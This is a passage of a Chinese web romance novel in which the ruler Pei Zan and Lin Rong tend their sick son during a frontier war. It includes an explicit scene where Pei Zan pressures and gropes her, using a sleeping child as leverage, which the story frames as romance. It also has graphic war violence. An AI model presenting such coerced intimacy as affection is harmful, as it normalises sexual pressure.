林蓉下炕,趿着绣鞋,帮裴瓒铺好垫底的凉席,再摊开一床被褥。 她怕裴瓒真的冻出个三长两短,还将他的床铺挪近一点,挨着暖乎乎的土炕。 裴嘉树看到父亲睡在地上,觉得新鲜,时不时低头看他:“爹爹,地上会不会硬啊?你真的能睡得着吗?” 小孩太聒噪了,吵得人头疼。 裴瓒伸手,把儿子的脑袋摁回炕上。 “不会,快睡吧。话少些,莫要再闹你阿娘。” 裴嘉树:“……哦。” 小孩是跟着父亲长大的。 少时为了管教儿子,裴瓒也并非一昧溺爱儿子,也有打手板、挨训斥的时候,因此裴嘉树心中敬畏父亲,也不敢和裴瓒对着干。 裴嘉树老实钻回被子里,被林蓉轻拍两下后背,沉沉睡着了。 林蓉忙了一天,睡得不太安稳。 半夜醒来,天还黑着,她想下地倒杯水喝。 等林蓉润完口再回炕上,借着门扉外刺目的雪光,她看到地上那一道修长的身影。 裴瓒的睡相一贯很好,不会随意翻身,软被压在衣襟微开的胸膛,睡时什么样,醒时就什么样。 从前林蓉初初和裴瓒同榻,看到他静谧入睡的模样,还当他死在了睡梦之中。 林蓉看到那一只搭在棉被上、裸露在外的大手,心神微动。 她深知睡着的裴瓒没有骇人的威压,也不存任何凶险的杀伤力,即便她触碰裴瓒,摆布裴瓒,亦不会被他伤害。 时值隆冬,天气寒冷。 要是裴瓒不盖好被子,恐会受冻。 林蓉犹豫一会儿,还是轻叹一口气,屈膝跪向地铺。 她小心翼翼抓住裴瓒的手,再牵过那一床锦被,缓慢帮裴瓒盖被。 可没等林蓉拉上被子,原本熟睡的男人竟在夜里睁开了一双凤眸。 裴瓒的墨眸晦暗,深若幽潭,一瞬不瞬紧盯着林蓉。 此等凶相,犹如垂涎猎物的猛兽。 林蓉吓了一跳,身姿僵立,下意识往后倾倒。 不等她跌向后方,裴瓒已然拧手,将她抓回身前。 大床的软被翻开,浓郁檀香汹涌。 林蓉不过一个恍神,就被裴瓒摁到黑黢黢的被窝,压到宽阔的胸膛前。 林蓉居高临下审视裴瓒。 她的五感都被一片混沌的黑暗遮蔽,她被闷在被子里,什么都看不清。 耳畔唯有裴瓒粗重的呼吸、馥郁的檀香。 以及他抚蹭在她后腰的冷硬指肚。 林蓉无措地低下头,她想喊,又记起裴嘉树还在炕上睡觉……她不敢轻举妄动,只能暂时维持着这等趴伏的尴尬姿态。 林蓉的身材娇小,即便挨着裴瓒,仍能被他整个人笼罩。 林蓉需要强行撑起手肘,含胸收腹…… 才能避免襟口的绵柔雪壑,挤压上他。 没等林蓉挣扎起身,裴瓒倒意味深长地问出一句:“你怕我着凉?” 林蓉呼吸一滞,不知该如何说。 但裴瓒显然不需要她的回答。男人两只遒劲有力的臂膀已然横上林蓉的细腰,将她抱了个满怀。 林蓉的雪色柔软,结结实实覆上裴瓒。 她没有任何逃跑的余地,像是一只待宰羔羊,任裴瓒肆意摆布。 好在被窝垛子依旧灰蒙蒙的、热潮潮的。 不会暴露她任何窘迫的神情,也不会让裴瓒知道她惊慌失措,令他更为得趣。 裴瓒得偿所愿,拥实了妻子。 他掰过林蓉尖尖的下颌,啄吻她的雪颈,留下一连串绯色深刻的吻印。 耳鬓厮磨,抵死纠缠间,他竟觉餍足,长吁一口气。 “大少爷……” 林蓉感受到湿滑的舌尖,吮过她的耳珠,带了点劣邪肆意的啃咬。 像是不轻不重的惩戒。 舔吻耳廓传来的细密痛感,还挟带着快意的缠绵。 竟令林蓉跪都跪不稳,只能软了腿骨,垮下腰窝,夹缠住男人的腰胯。 林蓉压到裴瓒。 她知他的渴求,知他的意动。 亦知他坚不可摧,甚至是随时都能灭绝人性。 林蓉欲哭无泪,但她到底没有裴瓒那般厚颜,她顾忌炕上的裴嘉树,希望裴瓒再如何存欲,也给她留一点脸面。 可裴瓒修长的手指,早已挑开林蓉的小衣系带…… 他握住了。 下一刻,裴瓒冰冷掌覆微动,掂量了两下柔和,恶意浓重地道:“林蓉,你也不想闹醒玉奴?” 此时,林蓉整个人都僵住了,她颇有种引狼入室的错觉,也悔恨自己竟把裴瓒看成什么良善的好人。 裴瓒的指尖揉捏,说出的话低哑温柔。 “林蓉,想我放过你吗?” 若是被褥里有光,裴瓒一定能看到林蓉汗如雨下,杏眸水光莹润的可怜相。 林蓉一声不敢吭,可裴瓒还是循循善诱。 “今日……你与杨峰含情脉脉,令我很是不快。我无意惩罚妻子,但我希望你能心中有数。” 裴瓒松开手,掌心都是林蓉心口的温热以及馥郁的花香。 他用这只挑逗过林蓉的手掌,抚摸妻子的脸颊,循循善诱。 “林蓉,若想求得我的垂怜……你该唤我什么?” 林蓉醍醐灌顶,她明白了裴瓒为何言辞刁钻。他不喜她太过疏离,他心中生妒生怨,他渴盼林蓉给个名分。 林蓉还在出神,可下一刻,男人温柔的吻已经落到她的嘴角。 裴瓒摁住她的后脑勺,强势含住她的舌。 他侵犯她唇腔每一处软肉,逼迫她顺从,乖乖依偎他的怀抱。 明明只是浅尝辄止的吻,偏裴瓒食髓知味,竟有种敲骨吸髓的阴毒险恶。 裴瓒吃她口中唾津还不够,还故意勾起她的衣裙…… 林蓉压抑口中娇吟,她的腿骨生汗。 她化成一汪春池,眸中亦有些许迷离之色。 就在林蓉呼吸逐渐隐忍的时刻……裴瓒收回了手。 裴瓒的指骨湿淋淋的。 他没让林蓉尝到自己的味道,只与她十指相扣,黏腻纠缠。 裴瓒低声问她:“林蓉……我是你的什么?” 林蓉时而火焚、时而冰浸。 她知道裴瓒恶意深重,如若不求一个圆满,他还能继续行凶。 果真,林蓉不说话,裴瓒微阖凤眸,又要掌控玉臀。 林蓉几乎是语带颤栗,杏眸含水,低低喊出一句:“夫君……是夫君。” “蓉儿,你真的很乖。” 裴瓒轻笑一声,终是满意她的求饶。 男人大发善心,总算愿意帮林蓉弄了出来。 第66章 这一夜, 林蓉也不知自己是如何睡着的。 她只知道,她都和裴瓒说吃不下了。 他还肆意妄为,以指试探。 直到林蓉眼泪涟涟, 压着嗓音说不要。 裴瓒才遗憾地停下,收回了手。 到底是顾念玉奴在热炕上睡觉, 林蓉没脸帮裴瓒纾解, 任他硬邦邦地忍耐, 分床睡去。 林蓉醒来的时候, 裴瓒已经不在寝屋了。 林蓉揉了揉脸,竟有点没脸回想昨夜的事。 她帮儿子掖好被子,出门煮早食去。 一到灶房, 林蓉看到灶台上堆了几个油纸包,心中纳闷……昨天吃不完的烧肉她都分给街坊邻里了, 哪来的吃食剩下? 思及至此, 林蓉拆开了油纸包, 竟看到几个糖屑芝麻烧饼, 还有一包烤得外酥里嫩的鹿肉。 林蓉和裴嘉树闲聊的时候, 听他吹过宫里御厨烤的饼子一绝。裴嘉树最爱吃带糖汁子的, 但裴瓒不嗜甜, 每次喂裴嘉树吃甜饼都要皱眉叮嘱一句,切莫把糖霜落他衣上。 想到裴瓒一脸嫌弃地拎起小孩, 又不得不掰饼子喂食,林蓉竟也会翘起嘴角, 流露几分笑意。 但一看到那些鹿肉,林蓉皱眉思考半天,总算想起了来源……许多年前,她赎身出府, 半道被擒,裴瓒拿匕首吓唬她,逼她乖乖就范,林蓉迫于裴瓒淫威,只能妥协。 那时,她窝在马车角落里,吓得六神无主,她不知裴瓒想怎样磋磨她,但林蓉想活,尽管眼泪扑簌簌地落,她也尽量与裴瓒和平相处。 只要林蓉不出逃,裴瓒还算好说话,不但回答她诸多问题,还懒洋洋地应下一声:如有机会,他会给她带些鹿肉尝尝鲜。 林蓉盯着那一份不知该说是苦果还是报应的鹿肉,心里五味杂陈……这厮分明还是很可恨啊! 林蓉热好了吃食,端到寝屋,却不想裴嘉树觉得热,竟踢起了被子。 林蓉放下碗筷,无奈地帮裴嘉树拉上被褥。 被子刚扯到小孩下巴处,林蓉竟发觉裴嘉树的脸色有点不对劲。 小孩呼吸急促,胸腔里隐隐有咳痰的嗬嗬声,就连脸蛋也比平常要红…… 林蓉伸手去触,儿子的体温烫到不正常的地步,滚沸烫手,犹如一块烧红了的烙铁。 几乎是瞬间,林蓉便知裴嘉树发起热。 大人受凉发热,若是不及时医治都可能出事,遑论一个五岁的孩子。 林蓉吓得六神无主,她顷刻间想到昨夜的家宴……是不是那时冻着孩子了?又或是穿衣太多,出了汗,还吹了一阵风,这才得了风寒? 林蓉想不出是哪里的疏忽,她只是急切地晃动裴嘉树,柔声问他:“玉奴,你哪里不舒服?能不能告诉阿娘?” 裴嘉树艰难睁开眼睛,他说不出哪里难受,但好像哪里都难受。 小孩委屈地瘪嘴,伸手搂住林蓉的脖颈,如同受伤过重的小兽一般,只知道埋进母亲的脖颈撒娇。 小小的人儿蜷在林蓉的怀中,她抱住儿子,身体轻轻颤抖。 林蓉想到多年前的那个画面……那时她将尚在襁褓的婴孩护在怀中,身后是杀人不眨眼的吐蕃追兵,怀里是不谙世事的孩童。明明如此凶险的境况,因林蓉抱着裴嘉树,小孩竟一点没哭,还对母亲咯咯直笑。 林蓉心如刀绞,她难过极了。 林蓉手足无措,她喂了裴嘉树几口兑凉的温水,又哄儿子先躺好休息,再出门去寻大夫。 龟兹国的巫医与魏国的大夫不同,用药也古怪,林蓉不敢给裴嘉树试,她怕药量过重,会伤到孩子,也不知裴嘉树有没有什么敏症,万一药材犯冲,反而伤身。 思来想去,林蓉只能在院落里,朝四方大喊:“裴家亲卫何在?!我知道你们主子有安插人手在此!” 林蓉一声厉呵,立马有轻甲黑袍的亲卫自屋檐落下,屈膝行礼:“末将杜衡,见过夫人。” 林蓉着急地道:“太子病重,可否帮我寻一下陛下,请个医工过来诊病?” 林蓉几乎要急哭了,她抽噎道:“求你快些,我不知太子有何用药禁忌,他还那样小,烧不得高热。” 杜衡闻言,心中警铃大作。他立马飞身出院,马不停蹄朝着军营赶去。 今日,魏军仍在广袤平原安营扎寨。 塞外天气严寒,物资匮乏,能供给牛羊战马的草场渐渐枯萎,想来那些茹毛饮血的戎狄会在凛冬来临之前,先行发动战争,劫掠军需辎重,也好熬过漫漫长冬。 裴瓒派出的斥候队伍传来消息,距离龟兹国百里开外的塞恩部落爆发了一场血腥的战役,遍地都是老人孩子的断臂残肢,羊皮毡帐浸血,吃食与家畜洗劫一空。 裴瓒深知那些戎人的习性脾气,凡是女子与物资,均会劫回族中自用,不事生产的老人孩子当场斩杀,愿意归顺部落的青壮留下奴役或是参军……草原上的战役,对于游牧的戎狄来说有先天优势,他不能掉以轻心。 没等裴瓒布下战阵,杜衡已然弃马奔来,对裴瓒禀报:“陛下,太子病重,娘娘心急如焚,想请一名医工回去看诊。” 裴瓒虽没对外册封林蓉,但他手下亲卫皆知林蓉是裴家主母,自然口称一声“皇后娘娘”。 裴瓒闻言,神色顿时冷肃,他将一应军务交付郑至明,自个儿拽了一名医术精湛的医工上马,朝龟兹国主城疾驰而去。 不必杜衡多说,裴瓒也知林蓉定是焦心不已。 她那等心软的女子,定会将所有过错都揽上己身……从前林蓉受难,他寻不得她,不能陪在她左右。如今寻到林蓉,他希望她每一个苦难煎熬的瞬间,皆有他相伴左右。 林蓉坐在土炕边陪伴裴嘉树,她熬了点米粥,喂给孩子,可裴嘉树脾胃不适,竟咽什么吐什么。 林蓉六神无主,只能用浸了凉水的帕子帮他擦汗,盼他能降下高热。 裴嘉树乖巧极了,虽然病倒了,有些神志不清,竟还伸出小手,着急地帮阿娘抹泪。 “玉奴不疼,就是一点点热……” 他用小指头比了比,真的很小的一点。 裴嘉树不想林蓉掉眼泪,他在哄林蓉开心,他乖乖依偎林蓉怀里,仿佛只要靠近林蓉,再多的苦难他也能忍耐下去。 林蓉的五脏六腑都被揉成了一团,心脏一抽一抽,痛得无以复加。 待门扉大开,裴瓒犹如救世神明一般出现在门口,林蓉含在眼眶的泪水,终于扑簌簌落下。 在这个世上,或许只有裴瓒才能与她感同身受。 妻儿哭作一团的场面,真教裴瓒心中发酸。 裴瓒来不及擦汗,他上前一步,把林蓉揽到怀里,又命医工出面,给裴嘉树诊脉,开药。 裴瓒抱着林蓉,长指抬起她削瘦的下巴,指肚轻轻掖去她发红的眼角:“林蓉,你莫怕。玉奴皮实,不过一场寒症,能熬过去。” 林蓉知道自己着急无用,她只是有些后怕,怪自己疏忽,怪自己不尽心,怪自己没有一点当娘的样子。 裴嘉树受冻受寒,加之水土不服,裴瓒早有预料,医工从药箱里翻出药材,亲自去灶房煎药熬煮。 一碗汤药服下,裴嘉树的烧渐渐褪去,又卷着被褥睡去了。 林蓉放下心,可眼泪仍蓄在眼眶里,怎样都止不住。 林蓉为了照顾裴嘉树,连发髻都没梳,只拧了几条辫子。此时一双杏眼通红,眼泪要掉不掉,当真是我见犹怜。 她饿了一整天,裴瓒知她没有胃口,只能亲自下厨,给妻子煮面。 等裴瓒煮了面,端到她面前,林蓉拿着筷子的时候,眼泪还一颗颗往碗里掉。 裴瓒看了一眼,心中无奈。 他叹息一声,抱过林蓉,将她摁到怀中。 不知是裴瓒的怀抱温暖,还是这时候唯有裴瓒能与林蓉心意相通,林蓉难得没有挣扎,她任他抱着,细声细气道歉:“我没有照顾好玉奴,我身为玉奴的娘亲,照顾孩子竟一点都不尽心……” 是她太孩子气,是她离开裴嘉树太久,一点经验都没有,若她再仔细一些,兴许小孩就不必遭这么多罪。 倘若裴嘉树夭折,那样乖的小孩因她的疏忽而病亡,林蓉恐怕这辈子都不会原谅自己。 裴瓒抹去林蓉脸上的热汗和眼泪,他抚了抚妻子的脊背,与她道:“若说疏忽,我也有错。昨夜我明知他汗湿里衫,还非要帮他沐浴……你我都是第一次当爹娘,尽力便是,何必事事苛责。” 裴瓒说得在理,林蓉渐渐冷静下来。 许是林蓉窝在怀里呆呆傻傻的样子惹人发笑,裴瓒难得多了几分谈兴。 他与她说起一些裴嘉树少时的事。 说裴嘉树第一次说话,喊的是“阿娘”。 说裴嘉树自小淘气,却很会在大人面前装乖,被鹰隼抓了不敢说,还是伤口发肿发痒,裴瓒才知情。 说裴嘉树其实闹腾得很,别被他骗了,遇到事情也要责骂,不能一昧惯着他。 裴瓒告诉林蓉,裴嘉树从小就很黏人,但裴瓒没有养孩子的经验,也是边养边学。 这样的寒症,裴嘉树不知生过多少次,但每一次都否极泰来,熬过一场,一整个冬天都不会生病。 裴瓒微微眯眸,想起旧事。 “我不如你,当时看玉奴病重,倒也没那么伤怀,只是担心他若有不慎,夭折病逝,你在地下定会怨我……” “本就鲜少见你入梦,再弄死了儿子,恐怕你更不愿见我。” 裴瓒轻描淡写的几句笑谈,竟让林蓉的心头微动,胸腔发酸。 她坐在裴瓒的怀中,透着灶膛里红彤彤的火光,仰头望他。 裴瓒仍旧是那副清冷沉肃的模样,扯唇浅笑一下,又很快敛去笑弧。 他将林蓉搂到怀中,如同哄孩子一般,任她坐在自己坚实的膝骨,极尽温柔地揉头抚背。 曾几何时,林蓉以为裴瓒满身唯有杀戮气息,他只会持刀剜肉,枭首屠戮……原来他也并非那样冷血无情,原来他也有一颗滚沸的肉心。 尽管裴瓒说得平静克制,但林蓉不蠢,她知道为何孩子牙牙学语,说出的第一个词是“阿娘”。 因裴瓒一直在同裴嘉树说林蓉的事,他希望儿子不要忘记娘亲…… 因他也在思念林蓉。 在这一瞬间,林蓉像是想明白了什么事,她忽然大彻大悟,她忽然松下了心神。 林蓉轻轻战栗,她的手掌蜷曲,犹豫许久。 最终,林蓉还是朝着裴瓒,伸出了手。 女子纤细的胳膊揽向裴瓒,挂在他的脖颈,将他拉近。 裴瓒受力,闻到那一股独属于林蓉的草木清香。 他低头,一双漂亮秀致的凤眸微颤,凝视着怀中的妻子。 林蓉没有再逃避,她也仰头看他。 林蓉的喉头艰涩,她深吸好几口气,方才问出了口:“裴瓒,分离的那五年……你是不是过得很苦?” 她终于问起旧事,终于想了解裴瓒的内心。 短短一句话,竟叫裴瓒怔忪无言。 裴瓒生来嗜杀,不通情窍。他本该不懂何为苦涩,他只知如今有妻有儿,失而复得,再无所求。 可裴瓒垂眼闭目,想到失去林蓉的那段岁月。 他看着裴嘉树说说笑笑,调皮捣蛋,想到的竟是林蓉姣好的面容。 灶膛里星火飞溅,荜拨作响。 二人缄默无言。 屋外风雪渐大,过了许久,林蓉才看到裴瓒微扬唇角,轻轻应了一声:“……嗯。” 林蓉,那些年,他过得真的很苦很苦。 作者有话说:悄悄说,裴以前多吓人他心里还真的没数……他觉得又没打蓉儿也没杀蓉儿,就嘴上说说有什么好怕的(这人脑回路不正常) 本文就剩下最后一个节点,也就是正文完结的节点啦! 比我预料的还早一点,不过不想故意拖延故事,剧情该写到哪里就写到哪里~ 今天开始断更好几天,我想一口气写完结局再发,也就是我们周四(1127)晚上一口气看大结局,会有几万字应该,我不想断了这个情绪,所以写完再发。 番外会有很多,不是什么IF番外,就是延续这个故事之后的一家三口日常,以及裴狗喜欢,蓉儿勉强愿意跟他玩的夫妻生活(???) (正文完) 第67章 裴嘉树的病好没几天, 龟兹国便乱了。 好在久居龟兹国的魏人都有心理准备,早早把家里的牛羊牲畜卖了,换成银钱, 拖家带口往西魏赶。 林蓉本想前往西域疏勒国,但看北戎的动静不大对劲, 又有裴瓒劝慰:“先回凉州吧, 倘若不想回宫, 那便留在玉门村……玉奴托付给你, 凡事可以吩咐杜衡,他会护你们母子周全。除却杜衡,便是郑家、吴家来迎, 皆不能应承。” 林蓉不蠢,一听便知, 裴瓒即便明面上与部将交好, 涉及家人的要事, 他也会多留几分心眼, 并不会全然信赖。 林蓉听从裴瓒安排。 夜色已深, 裴瓒却并未在土屋留宿, 眼见着男人叮嘱完家事便要推门离去, 林蓉疾走两步,隔着茫茫白雪, 喊住他:“大少爷!” 裴瓒止步,回头。 碎雪被狂风吹拂, 落了裴瓒一头白絮,亦吹得他一双冷目愈发沉肃。 林蓉想了想,还是走过去,女子的细指勾过裴瓒的蹀躞带, 将那一只塞满芳草、绣着“平安”二字的祈福香囊,挂上他的腰间。 香囊能纳祥驱疫,消灾避难,她盼着裴瓒能凯旋。 “我护不好玉奴……你一定要平安回来。” 这是实话,倘若裴瓒出事,裴嘉树又是西魏储君,林蓉孤儿寡母想要在乱世间求得一方净土,实在是一桩不易的事。 但林蓉知道,裴瓒足智多谋,骁勇善战,此番定能如从前那般克敌制胜。 裴瓒垂眼,修长琳琅的长指捋过那一条艳红的丝绦,神色渐渐柔和,从前他悍不畏死,如今有了家室,倒心生出一点牵挂与不舍。 想到许多次,裴瓒与林蓉说过的那句“等我回来”,但她次次逃离,无一次守信。 裴瓒不免冷嗤出声,但他到底还要讲:“蓉儿,等我回来。” 这一次,林蓉真心实意地颔首:“我会的。” 第二天,林蓉抱着尚且困倦的儿子、大黄,一并坐上了回都城的马车。 芝麻挤不进马车,但它习惯跟着林蓉跑上跑下,自然会紧随车后。 杨峰、张婶娘也开始动身,但杜衡带队,行踪隐蔽一些,并未与那些魏人同行。 天气严寒,风雪渐大,戈壁大漠也开始覆雪,沿途还有一些破败沾血的毡帐,遍地都是白森森的马骨、腐烂的骆驼肉、甚至还有埋进雪泥里的残肢断臂,不必说,也知是遭遇了蛮夷胡部的袭击。 原来,不止是龟兹国乱了,整个西域都不太平,五年前被裴瓒兵马镇压的吐蕃亦蠢蠢欲动,甚至与北戎联手,想将西域诸国一网打尽,再直逼凉州,屠戮西魏百姓,一雪前耻。 林蓉得知这些军情,恍然大悟:难怪裴瓒要她退回凉州,因塞外已是兵荒马乱,魏军既要御敌,又要守城,又怎能面面俱到,将所有人都庇护周全?最好的法子,便是撤回都城,静候战役结束的那一天。 凉州距离龟兹国虽只有千里之遥,但山麓众多,山径崎岖,如今又是涉雪而行,自然比以往花了更多时间才抵达都城。 林蓉回到玉门村的时候,还遇见了许多相熟的父老乡亲。 五年前,玉门村在胡骑的践踏之下,毁于一旦。 为了防疫避瘟,官府已经将那些残留村中的死尸焚烧殆尽,但战后的家宅仍需重新修葺一番。 好在林蓉有一笔积蓄,她不缺银钱,寻了泥匠、瓦匠,花上三两天的工夫,就把那一面推倒的院墙重新砌好了。 凉州百姓虽然听到战乱的消息,人心惶惶。 毕竟之前凉州失守,满城疮痍的血腥场面仍历历在目,他们也才过了五年安生日子而已。 但西魏百姓得知是裴瓒御驾亲征,心中惧意都减少许多。 毕竟裴瓒曾率军击退过数万吐蕃大军,帮他们收复家园,裴瓒这等盖世英雄,会有诸天神佛庇佑,成功击退外敌,战胜归城。 可一个月过去,西域战事还不见消停,反而有更多从南地送来的辎重粮车接连不断赶往西域营地,也有那些伤残兵卒被送回都城疗养救治。 城门开开合合,到处都是鲜血淋漓的兵卒,还有那些足以将人扎成刺猬的箭矢。 从伤兵败将痛苦的神情上看,此战险矣…… 凉州的百姓们不免面面相觑,惊骇地思索:万一裴瓒输了呢?万一裴家兵马全军覆没……那些茹毛饮血的胡兵,是否会攻入凉州,像五年前那般对他们刺来开膛破肚的尖刀,将他们的妻女奸淫,父母杀绝,再将剩余的男丁以锁链绕脖,逼他们像一条狗一般匍匐在地,无情地奴役他们? 人心浮动,凉州开始乱了。 不少百姓收拾家宅用物,往南地撤离避难,唯独那些京官还在守城,不敢轻举妄动,生怕裴瓒有幸活着归来,会治他们一个“擅离职守”的重罪。 可前线战事告急,裴瓒又许久不曾出面,安抚人心,再忠的官也会心中发虚,再诚的将也会焦躁忧虑……他们不免怪罪裴瓒多事,为何要带那么大批的兵马策应西域?不过是外族百姓,任他们死活,只要裴瓒能守住凉州就好。 但林蓉明白的,裴瓒此人“护短”得很,从前她不过是裴府一小小奴婢,他便会因她受罚、因她挨了沈家表妹一记耳光,特地上大房院子里闹上一场,为她出头。 凡是被裴瓒纳入羽翼之下的东西,他都会好生守着,不许外人触碰。 无论是好是歹,他的东西,他都会拼尽全力护着。 裴瓒便是这般占有欲强又偏执狂妄的男人。 况且,林蓉心里清楚,倘若裴瓒真的放弃西域,届时吐蕃骑兵、西域胡族、北部戎狄三军联手一齐攻向凉州,一旦破关,便不是屠城那般简单的事了。 裴瓒明明在竭尽全力将外敌阻于关隘之外,他明明在拼尽全力给西魏百姓一个稳定安宁的家宅。 林蓉心中忐忑不安,她第一次请了佛陀观音入宅,日夜焚香祈福,盼着裴瓒无灾无痛,安然无恙。 “倘若你真的平安归来……” 或许她不会再走,或许她会留下和裴瓒一起生活。 只要他平安回家。 凉州城外,一辆青蓬马车在两队军仪肃穆的卫兵护送下,朝主城驶来。 郑至明撩开车帘,担忧地望向正往肩上换药的裴瓒。 “陛下,此毒凶险,再战下去,恐怕要废去一臂,何不退兵回城,来日再战?” 此前,裴瓒为了帮西域诸部争取出撤兵的时间,布下战阵,领着几万西魏骑兵,夹击破城而入的北戎兵马。 在裴瓒带领之下,魏军镇压了突袭的戎兵,可此番战役,也逼得北戎暴露底牌……那些西地策应的吐蕃骑兵犹如遮天蔽日的风潮海啸,自四面八方的山丘戈壁奔入战局,他们手持长刀,如砍瓜切菜,杀向魏军。 无数弓马娴熟的胡族勇士,挽弓搭弦,带着悍烈的杀心,朝裴瓒的兵卒射来黑羽箭,漫天都是如蝗箭雨,迅疾落下。 随之而来的是溅上眉眼的鲜血,同胞战友的凄怆惨叫。 黑羽箭力道悍然,来势汹汹,根根没入魏军的甲胄,只剩下不断震颤的羽尾。 无数魏军受伤,不慎从战马背上跌落。 没等他们惊恐爬起,又被那些惊慌失措的军马践踏成一滩滩肉泥。 裴瓒早有预料,他临危不惧,反倒厉声高喝:“放出求援信鹰!切莫惊慌,分出两队骑兵回城,据地固守!其余将士,随我继续杀敌!” 裴瓒的嘶吼声响彻天地,杂乱密集的马蹄声因他的号召而变得有序平缓。 待吐蕃兵马加入战局,裴瓒终于将另一批埋伏已久的亲卫召上战场,杀得敌军一个措手不及。 鹬蚌相争,渔翁得利。 北戎大军以为裴瓒不过数万兵马,今日折损于龟兹国前,他已是强弩之末,再无援兵。 岂料,裴瓒早已施加了障眼法。 裴瓒深知此番上阵,魏军能派出斥候队伍,刺探敌情,戎狄自然也能了解到西魏的部署与军策。 既如此,裴瓒早早藏了一部分兵力,命其掩于塞外大漠,等候“策应支援”的军令下达,待戎狄大军不敌魏军,被打得节节败退,召来吐蕃援军时,裴瓒再射出鸣镝,发出急召援军的战令。 两队人马里应外合,才能杀穿阴险狡诈的胡骑,得来片刻喘息,赢得战局。 裴瓒一心御敌,却不想早有戎狄神箭手忌惮裴瓒的军事能力,早将箭镞对准了他的甲胄…… 嗖! 一记箭矢破空疾飞。 裴瓒不慎被冷箭刺中肩臂,深入骨髓的痛楚袭来,可他恍若未觉,仍气势巍峨如山,举剑狠戾劈砍,直至削下那名射箭偷袭的弓手头颅,为自己报了仇! 射箭的弓手居心险恶,故意将毒液涂抹上箭头,即便御医解开了此等见血封喉的剧毒,可余毒残留血脉,令裴瓒的伤口腐烂发脓,久不能愈。 每回持剑,裴瓒受尽折磨,都要忍得额头暴起青筋,方能有力策马挥臂,斩杀敌军。 郑至明见裴瓒脸上血色尽失,不敢再让君王继续上前线御敌。 他好心规劝裴瓒退兵,却不想被君王矢口否决:“此时退兵,便是前功尽弃。” 一番规劝的话堵在郑至明喉头,上不能下不去。 郑至明心知肚明,全因裴瓒在前线鼓舞军心,调兵遣将如臂使指,此战方能大捷。 诸君对裴瓒心存敬畏,见他如战神临世,心甘情愿俯首称臣。 只要裴瓒战力全盛,他麾下兵马便军势凛然,势如破竹。 倘若裴瓒倒下,或是退居凉州,底下魏军定士气萎靡,甚至可能被胡兵两下攻坚就溃不成军。 正是酣战鏖兵的节骨眼上,裴瓒不能后撤。 既要赢,便赢个彻底。 郑至明叹息一声,不再多劝。 裴瓒回城调度军需粮草,顺道陈述战情,安抚民心,原本惶惶不可终日的百姓终于定下心神,不再惊慌出逃。 京官们单从君王的只言片语来看,瞧不出战情的凶险,但裴瓒自己知道……无论如何,他都会守住凉州。 所有的艰险灾厄,他都会隔绝于都城之外。 因林蓉与裴嘉树在此,因他为夫为父,他会为家人辟出一片乐土。 裴瓒不能在都城久留,此番回城,也无非是调度粮草、率领几州兵马出征。 临行前,裴瓒只身去了一趟玉门村。 杜衡行事极为靠谱,将裴瓒的吩咐逐一办成。 林蓉和裴嘉树入城的消息,裴瓒并未告知旁人,就连那些官吏都以为皇太子还远在塞外。 也是如此,他今日来玉门村探亲,行事必须低调一些。 裴瓒肩上的箭伤烂出一个疮口,已经无血可流,无非是痛感剧烈,如万蚂啃噬,痛得人汗湿肩背,冷汗直流。 但裴瓒没有对外流露出丝毫不适,他生来倨傲,不会对外暴露任何弱点与软肋。 裴瓒强忍住剜皮裂骨的剧痛,抬头看了一眼天地萧瑟的风雪。 昨夜已经下了一场鹅毛大雪,屋檐上积累一片白花花的厚雪,飘着的盐粒子撒在裴瓒乌黑的墨发,雪絮蓬松,好似一夜白了头。 裴瓒的所有痛楚,在远远看到门口扫雪的那个窈窕身影时,悉数消散。 他纵身下马,快步上前,不等林蓉开口,便收紧双臂,拥了她满怀。 林蓉手执扫帚,吓了一跳。 待冰冷的甲胄覆上她的肩背,冻得她裸露在外的脖颈一个激灵,她才清醒过来……原是裴瓒回来了! 林蓉最是胆小,被裴瓒这样一吓,本该毛骨悚然,发起战栗,可她转身的瞬间,脸上却只有不加掩饰的笑意。 可能是今天飞雪太大,有点刺目,她和裴瓒久别重逢,竟觉眼酸,低头望去,只见那一枚她赠的香囊嫣红如故,长长的丝绦在风中飘荡。 林蓉眨了眨眼,又仰头看他。 裴瓒依旧是从前的模样,凤眸薄唇,长眉入鬓,不笑的时候很冷肃,教人不敢亲近。 也是奇怪,他怎么从来不会变化? 裴府见他是这样,五年前见他是这样,如今时隔两月再见还是这样。 林蓉问他:“御戎的战役结束了吗?” 裴瓒道:“还差一些,不过快了。” 林蓉明白过来:“你还要走……今晚留宿吗?” 这大概是林蓉第一次问裴瓒留不留下。 裴瓒想到肩上溃烂的伤,想到每一步行路,身上都犹如凌迟剔骨一般散开的疼痛……他扯了下唇角,是个无畏的笑容。 “不用。”他如小夫妻耳语那样,下颌抵在林蓉肩上,从后拥住她,“林蓉,我忍了多日,心中意动,若是在家宅过夜,我怕你受不住。” 林蓉听得他的喟叹,心里不知是何等滋味。 正经的时候,还能说这些荤话,这厮真是该死! 林蓉有点无奈,没再多劝。 许是林蓉在门外留了太久,裴嘉树等不及了,一边牵着大黄,一边捏着糖糕,钻出一个圆溜溜的小脑袋。 “阿娘,你扫雪累不累?玉奴帮你呀!” 没等他说完,抬头看到裴瓒,惊喜地大叫一声:“爹爹!” 裴瓒松开妻子不盈一握的细腰,弯腰去抱两月不见的臭小子。 他的右手有伤,若非战场杀敌必须持剑,他也不愿抬手拎人。想了想,裴瓒用左手挟着小孩,抓他进了家门。 林蓉凝望裴瓒峻拔高大的背影,看着男人垂落的右臂,轻轻皱起了眉头。 待进了屋子,裴瓒看到家中供了大慈大悲观世音菩萨,供桌上还摆着新鲜的果蔬,点了一盏祈福的莲花灯,不禁轻扯嘴角。 不难猜出,林蓉这等善信诚心,是因裴瓒远赴沙场才生出来的。 所有祈福,皆为他求。 裴瓒眉尾轻扬,看了林蓉一眼。 林蓉脸上讪讪。不知为何,她生平第一次这般掩饰,不敢和裴瓒坦荡对视。 林蓉顾左右而言他人:“大少爷,你要不要吃点什么?喝点什么?” 林蓉记得家里还有一壶葡萄酒,还有新烙好的羊肉胡饼,可以供裴瓒垫垫肚子。 可裴瓒没用饭,他只是从怀中拿出一枚玉牌,塞到林蓉手中:“此令可调度裴家亲卫,凡是出行,皆要传召亲卫随行。” 林蓉在五年前已经见识过裴瓒一手调教出的亲卫究竟有多忠心,他们为护主命,无惧生死,唯裴家主子马首是瞻。 除却这一枚护身玉令,裴瓒又将藏了两卷皇书诏令的木椟,交到林蓉手中。 